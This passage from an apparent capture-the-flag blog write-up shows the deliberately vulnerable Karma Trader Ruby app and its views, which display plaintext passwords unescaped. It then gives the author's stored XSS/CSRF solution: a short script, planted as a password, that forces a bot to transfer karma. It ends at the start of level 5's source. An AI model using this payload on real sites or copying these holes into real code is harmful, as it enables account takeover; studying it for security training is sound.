      trusts_me = Set.new
      return trusts_me unless @user

      # Get all the users who have transferred credits to me
      DB.conn[:transfers].where(:to =&gt; @user[:username]).
        join(:users, :username =&gt; :from).each do |result|
        trusts_me.add(result[:username])
      end

      trusts_me
    end

    def registered_users
      KarmaTrader::DB.conn[:users].reverse_order(:id)
    end

    # KARMA_FOUNTAIN gets all the karma it wants. (Part of why getting
    # its password would be so great...)
    def user_has_infinite_karma?
      @user[:username] == KARMA_FOUNTAIN
    end

    get '/' do
      if @user
        erb :home
      else
        erb :login
      end
    end

    get '/register' do
      erb :register
    end

    post '/register' do
      username = params[:username]
      password = params[:password]
      unless username &amp;&amp; password
        die("Please specify both a username and a password.", :register)
      end

      unless username =~ /^\w+$/
        die("Invalid username. Usernames must match /^\w+$/", :register)
      end

      unless DB.conn[:users].where(:username =&gt; username).count == 0
        die("This username is already registered. Try another one.",
            :register)
      end

      DB.conn[:users].insert(
        :username =&gt; username,
        :password =&gt; password,
        :karma =&gt; STARTING_KARMA,
        :last_active =&gt; Time.now.utc
        )
      session[:user] = username
      redirect '/'
    end

    get '/login' do
      redirect '/'
    end

    post '/login' do
      username = params[:username]
      password = params[:password]
      user = DB.conn[:users][:username =&gt; username, :password =&gt; password]
      unless user
        die('Could not authenticate. Perhaps you meant to register a new' \
            ' account? (See link below.)', :login)
      end

      session[:user] = user[:username]
      redirect '/'
    end

    get '/transfer' do
      redirect '/'
    end

    post '/transfer' do
      redirect '/' unless @user

      from = @user[:username]
      to = params[:to]
      amount = params[:amount]

      die("Please fill out all the fields.", :home) unless amount &amp;&amp; to
      amount = amount.to_i
      die("Invalid amount specified.", :home) if amount &lt;= 0
      die("You cannot send yourself karma!", :home) if to == from
      unless DB.conn[:users][:username =&gt; to]
        die("No user with username #{to.inspect} found.", :home)
      end

      unless user_has_infinite_karma?
        if @user[:karma] &lt; amount
          die("You only have #{@user[:karma]} karma left.", :home)
        end
      end

      DB.conn[:transfers].insert(:from =&gt; from, :to =&gt; to, :amount =&gt; amount)
      DB.conn[:users].where(:username=&gt;from).update(:karma =&gt; :karma - amount)
      DB.conn[:users].where(:username=&gt;to).update(:karma =&gt; :karma + amount)

      refresh_state
      @success = "You successfully transfered #{amount} karma to" +
                 " #{to.inspect}."
      erb :home
    end

    get '/logout' do
      session.clear
      redirect '/'
    end
  end
end

def main
  KarmaTrader::DB.init
  KarmaTrader::KarmaSrv.run!
end

if $0 == __FILE__
  main
  exit(0)
end</pre>
</td>
</tr>
</tbody>
</table>
The contents of <code>views/home.erb</code>:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/4#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/4#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/4#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/4#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/4#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/4#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/4#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/4#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/4#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/4#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/4#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/4#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/4#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/4#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/4#n15"></a>15
<a name="n16" href="https://stripe-ctf.com/levels/4#n16"></a>16
<a name="n17" href="https://stripe-ctf.com/levels/4#n17"></a>17
<a name="n18" href="https://stripe-ctf.com/levels/4#n18"></a>18
<a name="n19" href="https://stripe-ctf.com/levels/4#n19"></a>19
<strong><a name="n20" href="https://stripe-ctf.com/levels/4#n20"></a>20</strong>
<a name="n21" href="https://stripe-ctf.com/levels/4#n21"></a>21
<a name="n22" href="https://stripe-ctf.com/levels/4#n22"></a>22
<a name="n23" href="https://stripe-ctf.com/levels/4#n23"></a>23
<a name="n24" href="https://stripe-ctf.com/levels/4#n24"></a>24
<a name="n25" href="https://stripe-ctf.com/levels/4#n25"></a>25
<a name="n26" href="https://stripe-ctf.com/levels/4#n26"></a>26
<a name="n27" href="https://stripe-ctf.com/levels/4#n27"></a>27
<a name="n28" href="https://stripe-ctf.com/levels/4#n28"></a>28
<a name="n29" href="https://stripe-ctf.com/levels/4#n29"></a>29
<strong><a name="n30" href="https://stripe-ctf.com/levels/4#n30"></a>30</strong>
<a name="n31" href="https://stripe-ctf.com/levels/4#n31"></a>31
<a name="n32" href="https://stripe-ctf.com/levels/4#n32"></a>32
<a name="n33" href="https://stripe-ctf.com/levels/4#n33"></a>33
<a name="n34" href="https://stripe-ctf.com/levels/4#n34"></a>34
<a name="n35" href="https://stripe-ctf.com/levels/4#n35"></a>35
<a name="n36" href="https://stripe-ctf.com/levels/4#n36"></a>36
<a name="n37" href="https://stripe-ctf.com/levels/4#n37"></a>37
<a name="n38" href="https://stripe-ctf.com/levels/4#n38"></a>38
<a name="n39" href="https://stripe-ctf.com/levels/4#n39"></a>39
<strong><a name="n40" href="https://stripe-ctf.com/levels/4#n40"></a>40</strong>
<a name="n41" href="https://stripe-ctf.com/levels/4#n41"></a>41
<a name="n42" href="https://stripe-ctf.com/levels/4#n42"></a>42
<a name="n43" href="https://stripe-ctf.com/levels/4#n43"></a>43
<a name="n44" href="https://stripe-ctf.com/levels/4#n44"></a>44
<a name="n45" href="https://stripe-ctf.com/levels/4#n45"></a>45
<a name="n46" href="https://stripe-ctf.com/levels/4#n46"></a>46
<a name="n47" href="https://stripe-ctf.com/levels/4#n47"></a>47
<a name="n48" href="https://stripe-ctf.com/levels/4#n48"></a>48
<a name="n49" href="https://stripe-ctf.com/levels/4#n49"></a>49
<strong><a name="n50" href="https://stripe-ctf.com/levels/4#n50"></a>50</strong>
<a name="n51" href="https://stripe-ctf.com/levels/4#n51"></a>51
<a name="n52" href="https://stripe-ctf.com/levels/4#n52"></a>52
<a name="n53" href="https://stripe-ctf.com/levels/4#n53"></a>53
<a name="n54" href="https://stripe-ctf.com/levels/4#n54"></a>54
<a name="n55" href="https://stripe-ctf.com/levels/4#n55"></a>55
<a name="n56" href="https://stripe-ctf.com/levels/4#n56"></a>56
<a name="n57" href="https://stripe-ctf.com/levels/4#n57"></a>57
<a name="n58" href="https://stripe-ctf.com/levels/4#n58"></a>58
<a name="n59" href="https://stripe-ctf.com/levels/4#n59"></a>59
<strong><a name="n60" href="https://stripe-ctf.com/levels/4#n60"></a>60</strong>
<a name="n61" href="https://stripe-ctf.com/levels/4#n61"></a>61
<a name="n62" href="https://stripe-ctf.com/levels/4#n62"></a>62
<a name="n63" href="https://stripe-ctf.com/levels/4#n63"></a>63
<a name="n64" href="https://stripe-ctf.com/levels/4#n64"></a>64
<a name="n65" href="https://stripe-ctf.com/levels/4#n65"></a>65
<a name="n66" href="https://stripe-ctf.com/levels/4#n66"></a>66
<a name="n67" href="https://stripe-ctf.com/levels/4#n67"></a>67
<a name="n68" href="https://stripe-ctf.com/levels/4#n68"></a>68
<a name="n69" href="https://stripe-ctf.com/levels/4#n69"></a>69
<strong><a name="n70" href="https://stripe-ctf.com/levels/4#n70"></a>70</strong>
<a name="n71" href="https://stripe-ctf.com/levels/4#n71"></a>71
<a name="n72" href="https://stripe-ctf.com/levels/4#n72"></a>72
<a name="n73" href="https://stripe-ctf.com/levels/4#n73"></a>73
<a name="n74" href="https://stripe-ctf.com/levels/4#n74"></a>74</pre>
</td>
<td>
<pre>&lt;h1&gt;Welcome to Karma Trader!&lt;/h1&gt;

&lt;h3&gt;Home&lt;/h3&gt;
&lt;p&gt;You are logged in as &lt;%= @user[:username] %&gt;.&lt;/p&gt;

&lt;h3&gt;Transfer karma&lt;/h3&gt;
&lt;p&gt;
  You have &lt;%= @user[:karma] %&gt; karma at the moment. Transfer
  karma to people who have done good deeds and you think will keep
  doing good deeds in the future.
&lt;/p&gt;

&lt;p&gt;
  Note that transferring karma to someone will reveal your
  password to them, which will hopefully incentivize you to only
  give karma to people you really trust.
&lt;/p&gt;

&lt;p&gt;
  If you're anything like &lt;strong&gt;karma_fountain&lt;/strong&gt;, you'll find
  yourself logging in every minute to see what new and exciting
  developments are afoot on the platform. (Though no need to be as paranoid as
  &lt;strong&gt;karma_fountain&lt;/strong&gt; and firewall your outbound network connections
  so you can only make connections to the Karma Trader server itself.)
&lt;/p&gt;

&lt;p&gt;See below for a list of all registered usernames.&lt;/p&gt;
&lt;form action="&lt;%= absolute_url('/transfer') %&gt;" method="POST"&gt;
  &lt;p&gt;To: &lt;input type="to" name="to" /&gt;&lt;/p&gt;
  &lt;p&gt;Amount of karma: &lt;input type="text" name="amount" /&gt;&lt;/p&gt;
  &lt;p&gt;&lt;input type="submit" value="Submit" /&gt;&lt;/p&gt;
&lt;/form&gt;

&lt;h3&gt;Past transfers&lt;/h3&gt;
&lt;table border="1"&gt;
  &lt;tr&gt;
    &lt;th&gt;From&lt;/th&gt;
    &lt;th&gt;To&lt;/th&gt;
    &lt;th&gt;Amount&lt;/th&gt;
  &lt;/tr&gt;
  &lt;% @transfers.each do |transfer| %&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;%= transfer[:from] %&gt;&lt;/td&gt;
    &lt;td&gt;&lt;%= transfer[:to] %&gt;&lt;/td&gt;
    &lt;td&gt;&lt;%= transfer[:amount] %&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;% end %&gt;
&lt;/table&gt;

&lt;h3&gt; Registered Users &lt;/h3&gt;
&lt;ul&gt;
  &lt;% @registered_users.each do |user| %&gt;
  &lt;% last_active = user[:last_active].strftime('%H:%M:%S UTC') %&gt;
  &lt;% if @trusts_me.include?(user[:username]) %&gt;
  &lt;li&gt;
    &lt;%= user[:username] %&gt;
    (password: &lt;%= user[:password] %&gt;, last active &lt;%= last_active %&gt;)
  &lt;/li&gt;
  &lt;% elsif user[:username] == @user[:username] %&gt;
  &lt;li&gt;
    &lt;%= user[:username] %&gt;
    (&lt;strong&gt;you&lt;/strong&gt;, last active &lt;%= last_active %&gt;)
  &lt;/li&gt;
  &lt;% else %&gt;
  &lt;li&gt;
    &lt;%= user[:username] %&gt;
    (password: &lt;i&gt;[hasn't yet transferred karma to you]&lt;/i&gt;,
    last active &lt;%= last_active %&gt;)
  &lt;/li&gt;
  &lt;% end %&gt;
  &lt;% end %&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="&lt;%= absolute_url('/logout') %&gt;"&gt;Log out&lt;/a&gt;&lt;/p&gt;</pre>
</td>
</tr>
</tbody>
</table>
The contents of <code>views/login.erb</code>:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/4#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/4#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/4#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/4#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/4#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/4#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/4#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/4#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/4#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/4#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/4#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/4#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/4#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/4#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/4#n15"></a>15
<a name="n16" href="https://stripe-ctf.com/levels/4#n16"></a>16</pre>
</td>
<td>
<pre>&lt;h1&gt;
  Welcome to Karma Trader, the best way to reward people for good deeds!
&lt;/h1&gt;

&lt;h3&gt;Login&lt;/h3&gt;

&lt;form action="&lt;%= absolute_url('/login') %&gt;" method="POST"&gt;
  &lt;p&gt;Username: &lt;input type="text" name="username" /&gt;&lt;/p&gt;
  &lt;p&gt;Password: &lt;input type="password" name="password" /&gt;&lt;/p&gt;
  &lt;p&gt;&lt;input type="submit" value="Log in" /&gt;&lt;/p&gt;
&lt;/form&gt;

&lt;p&gt;
  Don't have an account?
  &lt;a href="&lt;%= absolute_url('/register') %&gt;"&gt;Register&lt;/a&gt; now!
&lt;/p&gt;</pre>
</td>
</tr>
</tbody>
</table>
The contents of <code>views/register.erb</code>:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/4#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/4#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/4#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/4#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/4#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/4#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/4#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/4#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/4#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/4#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/4#n11"></a>11</pre>
</td>
<td>
<pre>&lt;h1&gt;Welcome to Karma Trader, the best way to reward people for good deeds!&lt;/h1&gt;

&lt;h3&gt;Register&lt;/h3&gt;

&lt;form action="&lt;%= absolute_url('/register') %&gt;" method="POST"&gt;
  &lt;p&gt;Pick your username: &lt;input type="text" name="username" /&gt;&lt;/p&gt;
  &lt;p&gt;Choose a password: &lt;input type="password" name="password" /&gt;&lt;/p&gt;
  &lt;p&gt;&lt;input type="submit" value="Create account" /&gt;&lt;/p&gt;
&lt;/form&gt;

&lt;p&gt;Already have an account? &lt;a href="&lt;%= absolute_url('/') %&gt;"&gt;Log in&lt;/a&gt; now!&lt;/p&gt;</pre>
</td>
</tr>
</tbody>
</table>
The contents of <code>views/layout.erb</code>:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/4#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/4#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/4#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/4#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/4#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/4#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/4#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/4#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/4#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/4#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/4#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/4#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/4#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/4#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/4#n15"></a>15
<a name="n16" href="https://stripe-ctf.com/levels/4#n16"></a>16
<a name="n17" href="https://stripe-ctf.com/levels/4#n17"></a>17
<a name="n18" href="https://stripe-ctf.com/levels/4#n18"></a>18</pre>
</td>
<td>
<pre>&lt;!doctype html&gt;
&lt;html&gt;
  &lt;head&gt;
    &lt;title&gt;Karma Trader&lt;/title&gt;
    &lt;script type="text/javascript"
            src="&lt;%= absolute_url('/js/jquery-1.8.0.min.js') %&gt;"&gt;&lt;/script&gt;
  &lt;/head&gt;
  &lt;body&gt;
&lt;% if @error %&gt;
  &lt;p&gt;Error: &lt;%= @error %&gt;&lt;/p&gt;
&lt;% end %&gt;
&lt;% if @success %&gt;
  &lt;p&gt;Success: &lt;%= @success %&gt;&lt;/p&gt;
&lt;% end %&gt;

&lt;%= yield %&gt;
  &lt;/body&gt;
&lt;/html&gt;</pre>
</td>
</tr>
</tbody>
</table>
&nbsp;

<strong>Solution</strong>

<strong></strong>Well this one&#8217;s pretty easy. The code is in Ruby and based on Sinatra framework. It&#8217;s an application where different users can send each other Karma. The application uses a mechanism to ensure karma is traded legally, by showing A&#8217;s password to B as soon as A sends B karma; this way only good trusted people will receive karma.

Now there&#8217;s an automated user (karma_fountain) which has unlimited karma. You have to obtain his/her password as the flag. Obviously to get his password, he has to send you karma. Since you don&#8217;t have his password, you can&#8217;t legally send karma from him to yourself, so you have to do some forged requests (hence CSRF).

The application interface is pretty simple, a few lines of text comes first, then a form to send karma to someone, having fields <strong>amount</strong> and <strong>to</strong>. Whomever you send karma to, will have your password. Then there&#8217;s a table listing all transfers you have made to others and others have made to you (just for clarification, we don&#8217;t actually need this one.)

Finally there&#8217;s a list of all users in the game, with their passwords if they have sent you karma. This last section is what we can change and what karma_fountain is bound to see. We have to put our forgery script in here somehow, which is the following script assuming our username is <strong>abx</strong>:
<blockquote>&lt;script&gt;

var x=document.forms[0];

x.to.value=&#8217;abx&#8217;;

x.amount.value=&#8217;1&#8242;;

x.submit();

&lt;/script&gt;</blockquote>
We can put all these four lines into a single line, I have separated them here for the sake of readability. The first line assigns variable <strong>x</strong> to the first form in the page (which is the one for sending karma to other people). The second line sets its <strong>to</strong> field to my username, the third one sets some karma amount. The forth line submits the form.

If we could get karma_fountain to somehow run this Javascript code unknowingly, we would have his password. Now first I thought of creating another user with this script as his username, but that was failed since only alphanums are allowed in usernames.

Then I understood that I could set this script as the new user&#8217;s password, and then send some karma from him to karma_fountain so that it would see (have run) this script on his page. Thus I created a user name <strong>screwer</strong> with password of the above script (in a single line). Logged in and sent some karma to karma_fountain. Then I logged out and back in as <strong>abx</strong>.

Sat there for a minute or two (to let karma_fountain check his page) and refreshed the page. There was the password of karma fountain on the bottom. (You can&#8217;t see the password in the following image, you have to browse the webpages source code. The script is being run and it stops the output.)
<p style="text-align: center;"><a href="http://abiusx.com/blog/wp-content/uploads/2012/08/stripe-ctf-challenge4-karma_fountain.png"><img class="size-medium wp-image-770 aligncenter" title="stripe-ctf-challenge4-karma_fountain" src="http://abiusx.com/blog/wp-content/uploads/2012/08/stripe-ctf-challenge4-karma_fountain-300x157.png" alt="stripe-ctf-challenge4-karma_fountain application" width="300" height="157" /></a></p>
&nbsp;

&nbsp;

&nbsp;
<h3><strong>Challenge 5 &#8211; Chain Request Manipulation</strong></h3>
You completed this level in 6528.572 seconds. The password was<code>ZEAorpaRyV</code>.

The solution you submitted was:

<code>I was stuck here for 2 hours only cuz i didnt know default Ruby regex is not multiline, as is in PHP.</code>

<hr />

Many attempts have been made at creating a federated identity system for the web (see <a href="http://openid.net/">OpenID</a>, for example). However, none of them have been successful. Until today.

The DomainAuthenticator is based off a novel protocol for establishing identities. To authenticate to a site, you simply provide it username, password, and pingback URL. The site posts your credentials to the pingback URL, which returns either &#8220;AUTHENTICATED&#8221; or &#8220;DENIED&#8221;. If &#8220;AUTHENTICATED&#8221;, the site considers you signed in as a user for the pingback domain.

You can check out the Stripe CTF DomainAuthenticator instance here:<strong><a href="https://level05-2.stripe-ctf.com/user-ttjzfipuud" target="_blank">https://level05-2.stripe-ctf.com/user-ttjzfipuud</a></strong>. We&#8217;ve been using it to distribute the password to access Level 6. If you could only somehow authenticate as a user of a level05 machine&#8230;

To avoid nefarious exploits, the machine hosting the DomainAuthenticator has very locked down network access. It can only make outbound requests to other <code>stripe-ctf.com</code> servers. Though, you&#8217;ve heard that someone forgot to internally firewall off the high ports from the Level 2 server.

Interesting in setting up your own DomainAuthenticator? You can grab the source from <code>git clone https://level05-2.stripe-ctf.com/user-ttjzfipuud/level05-code</code>, or by reading on below.

The contents of <code>srv.rb</code>:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/5#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/5#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/5#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/5#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/5#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/5#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/5#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/5#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/5#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/5#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/5#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/5#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/5#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/5#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/5#n15"></a>15
<a name="n16" href="https://stripe-ctf.com/levels/5#n16"></a>16
<a name="n17" href="https://stripe-ctf.com/levels/5#n17"></a>17
<a name="n18" href="https://stripe-ctf.com/levels/5#n18"></a>18
<a name="n19" href="https://stripe-ctf.com/levels/5#n19"></a>19
<strong><a name="n20" href="https://stripe-ctf.com/levels/5#n20"></a>20</strong>
<a name="n21" href="https://stripe-ctf.com/levels/5#n21"></a>21
<a name="n22" href="https://stripe-ctf.com/levels/5#n22"></a>22
<a name="n23" href="https://stripe-ctf.com/levels/5#n23"></a>23
<a name="n24" href="https://stripe-ctf.com/levels/5#n24"></a>24
<a name="n25" href="https://stripe-ctf.com/levels/5#n25"></a>25
<a name="n26" href="https://stripe-ctf.com/levels/5#n26"></a>26
<a name="n27" href="https://stripe-ctf.com/levels/5#n27"></a>27
<a name="n28" href="https://stripe-ctf.com/levels/5#n28"></a>28
<a name="n29" href="https://stripe-ctf.com/levels/5#n29"></a>29
<strong><a name="n30" href="https://stripe-ctf.com/levels/5#n30"></a>30</strong>
<a name="n31" href="https://stripe-ctf.com/levels/5#n31"></a>31
<a name="n32" href="https://stripe-ctf.com/levels/5#n32"></a>32
<a name="n33" href="https://stripe-ctf.com/levels/5#n33"></a>33
<a name="n34" href="https://stripe-ctf.com/levels/5#n34"></a>34
<a name="n35" href="https://stripe-ctf.com/levels/5#n35"></a>35
<a name="n36" href="https://stripe-ctf.com/levels/5#n36"></a>36
<a name="n37" href="https://stripe-ctf.com/levels/5#n37"></a>37
<a name="n38" href="https://stripe-ctf.com/levels/5#n38"></a>38
<a name="n39" href="https://stripe-ctf.com/levels/5#n39"></a>39
<strong><a name="n40" href="https://stripe-ctf.com/levels/5#n40"></a>40</strong>
<a name="n41" href="https://stripe-ctf.com/levels/5#n41"></a>41
<a name="n42" href="https://stripe-ctf.com/levels/5#n42"></a>42
<a name="n43" href="https://stripe-ctf.com/levels/5#n43"></a>43
<a name="n44" href="https://stripe-ctf.com/levels/5#n44"></a>44
<a name="n45" href="https://stripe-ctf.com/levels/5#n45"></a>45
<a name="n46" href="https://stripe-ctf.com/levels/5#n46"></a>46
<a name="n47" href="https://stripe-ctf.com/levels/5#n47"></a>47
<a name="n48" href="https://stripe-ctf.com/levels/5#n48"></a>48
<a name="n49" href="https://stripe-ctf.com/levels/5#n49"></a>49
<strong><a name="n50" href="https://stripe-ctf.com/levels/5#n50"></a>50</strong>
<a name="n51" href="https://stripe-ctf.com/levels/5#n51"></a>51
<a name="n52" href="https://stripe-ctf.com/levels/5#n52"></a>52
<a name="n53" href="https://stripe-ctf.com/levels/5#n53"></a>53
<a name="n54" href="https://stripe-ctf.com/levels/5#n54"></a>54
<a name="n55" href="https://stripe-ctf.com/levels/5#n55"></a>55
<a name="n56" href="https://stripe-ctf.com/levels/5#n56"></a>56
<a name="n57" href="https://stripe-ctf.com/levels/5#n57"></a>57
<a name="n58" href="https://stripe-ctf.com/levels/5#n58"></a>58
<a name="n59" href="https://stripe-ctf.com/levels/5#n59"></a>59
<strong><a name="n60" href="https://stripe-ctf.com/levels/5#n60"></a>60</strong>
<a name="n61" href="https://stripe-ctf.com/levels/5#n61"></a>61
<a name="n62" href="https://stripe-ctf.com/levels/5#n62"></a>62
<a name="n63" href="https://stripe-ctf.com/levels/5#n63"></a>63
<a name="n64" href="https://stripe-ctf.com/levels/5#n64"></a>64
<a name="n65" href="https://stripe-ctf.com/levels/5#n65"></a>65
<a name="n66" href="https://stripe-ctf.com/levels/5#n66"></a>66
<a name="n67" href="https://stripe-ctf.com/levels/5#n67"></a>67
<a name="n68" href="https://stripe-ctf.com/levels/5#n68"></a>68
<a name="n69" href="https://stripe-ctf.com/levels/5#n69"></a>69
<strong><a name="n70" href="https://stripe-ctf.com/levels/5#n70"></a>70</strong>
<a name="n71" href="https://stripe-ctf.com/levels/5#n71"></a>71
<a name="n72" href="https://stripe-ctf.com/levels/5#n72"></a>72
<a name="n73" href="https://stripe-ctf.com/levels/5#n73"></a>73
<a name="n74" href="https://stripe-ctf.com/levels/5#n74"></a>74
<a name="n75" href="https://stripe-ctf.com/levels/5#n75"></a>75
<a name="n76" href="https://stripe-ctf.com/levels/5#n76"></a>76
<a name="n77" href="https://stripe-ctf.com/levels/5#n77"></a>77
<a name="n78" href="https://stripe-ctf.com/levels/5#n78"></a>78
<a name="n79" href="https://stripe-ctf.com/levels/5#n79"></a>79
<strong><a name="n80" href="https://stripe-ctf.com/levels/5#n80"></a>80</strong>
<a name="n81" href="https://stripe-ctf.com/levels/5#n81"></a>81
<a name="n82" href="https://stripe-ctf.com/levels/5#n82"></a>82
<a name="n83" href="https://stripe-ctf.com/levels/5#n83"></a>83
<a name="n84" href="https://stripe-ctf.com/levels/5#n84"></a>84
<a name="n85" href="https://stripe-ctf.com/levels/5#n85"></a>85
<a name="n86" href="https://stripe-ctf.com/levels/5#n86"></a>86
<a name="n87" href="https://stripe-ctf.com/levels/5#n87"></a>87
<a name="n88" href="https://stripe-ctf.com/levels/5#n88"></a>88
<a name="n89" href="https://stripe-ctf.com/levels/5#n89"></a>89
<strong><a name="n90" href="https://stripe-ctf.com/levels/5#n90"></a>90</strong>
<a name="n91" href="https://stripe-ctf.com/levels/5#n91"></a>91
<a name="n92" href="https://stripe-ctf.com/levels/5#n92"></a>92
<a name="n93" href="https://stripe-ctf.com/levels/5#n93"></a>93
<a name="n94" href="https://stripe-ctf.com/levels/5#n94"></a>94
<a name="n95" href="https://stripe-ctf.com/levels/5#n95"></a>95
<a name="n96" href="https://stripe-ctf.com/levels/5#n96"></a>96
<a name="n97" href="https://stripe-ctf.com/levels/5#n97"></a>97
<a name="n98" href="https://stripe-ctf.com/levels/5#n98"></a>98
<a name="n99" href="https://stripe-ctf.com/levels/5#n99"></a>99
<strong><a name="n100" href="https://stripe-ctf.com/levels/5#n100"></a>100</strong>
<a name="n101" href="https://stripe-ctf.com/levels/5#n101"></a>101
<a name="n102" href="https://stripe-ctf.com/levels/5#n102"></a>102
<a name="n103" href="https://stripe-ctf.com/levels/5#n103"></a>103
<a name="n104" href="https://stripe-ctf.com/levels/5#n104"></a>104
<a name="n105" href="https://stripe-ctf.com/levels/5#n105"></a>105
<a name="n106" href="https://stripe-ctf.com/levels/5#n106"></a>106
<a name="n107" href="https://stripe-ctf.com/levels/5#n107"></a>107
<a name="n108" href="https://stripe-ctf.com/levels/5#n108"></a>108
<a name="n109" href="https://stripe-ctf.com/levels/5#n109"></a>109
<strong><a name="n110" href="https://stripe-ctf.com/levels/5#n110"></a>110</strong>
<a name="n111" href="https://stripe-ctf.com/levels/5#n111"></a>111
<a name="n112" href="https://stripe-ctf.com/levels/5#n112"></a>112
<a name="n113" href="https://stripe-ctf.com/levels/5#n113"></a>113
<a name="n114" href="https://stripe-ctf.com/levels/5#n114"></a>114
<a name="n115" href="https://stripe-ctf.com/levels/5#n115"></a>115
<a name="n116" href="https://stripe-ctf.com/levels/5#n116"></a>116
<a name="n117" href="https://stripe-ctf.com/levels/5#n117"></a>117
<a name="n118" href="https://stripe-ctf.com/levels/5#n118"></a>118
<a name="n119" href="https://stripe-ctf.com/levels/5#n119"></a>119
<strong><a name="n120" href="https://stripe-ctf.com/levels/5#n120"></a>120</strong>
<a name="n121" href="https://stripe-ctf.com/levels/5#n121"></a>121
<a name="n122" href="https://stripe-ctf.com/levels/5#n122"></a>122</pre>
</td>
<td>
<pre>#!/usr/bin/env ruby
require 'rubygems'
require 'bundler/setup'

require 'logger'
require 'uri'

require 'restclient'
require 'sinatra'

$log = Logger.new(STDERR)
$log.level = Logger::INFO

module DomainAuthenticator
  class DomainAuthenticatorSrv &lt; Sinatra::Base
    set :environment, :production

    # Run with the production file on the server
    if File.exists?('production')
      PASSWORD_HOSTS = /^level05-\d+\.stripe-ctf\.com$/
      ALLOWED_HOSTS = /\.stripe-ctf\.com$/
    else
      PASSWORD_HOSTS = /^localhost$/
      ALLOWED_HOSTS = //
    end
    PASSWORD = File.read('password.txt').strip
    enable :sessions

    # Use persistent entropy file
    entropy_file = 'entropy.dat'
    unless File.exists?(entropy_file)
      File.open(entropy_file, 'w') do |f|
        f.write(OpenSSL::Random.random_bytes(24))
      end
    end
    set :session_secret, File.read(entropy_file)

    get '/*' do
      output = &lt;&lt;EOF
&lt;p&gt;
  Welcome to the Domain Authenticator. Please authenticate as a user from
  your domain of choice.
&lt;/p&gt;

&lt;form action="" method="POST"&gt;
&lt;p&gt;Pingback URL: &lt;input type="text" name="pingback" /&gt;&lt;/p&gt;
&lt;p&gt;Username: &lt;input type="text" name="username" /&gt;&lt;/p&gt;
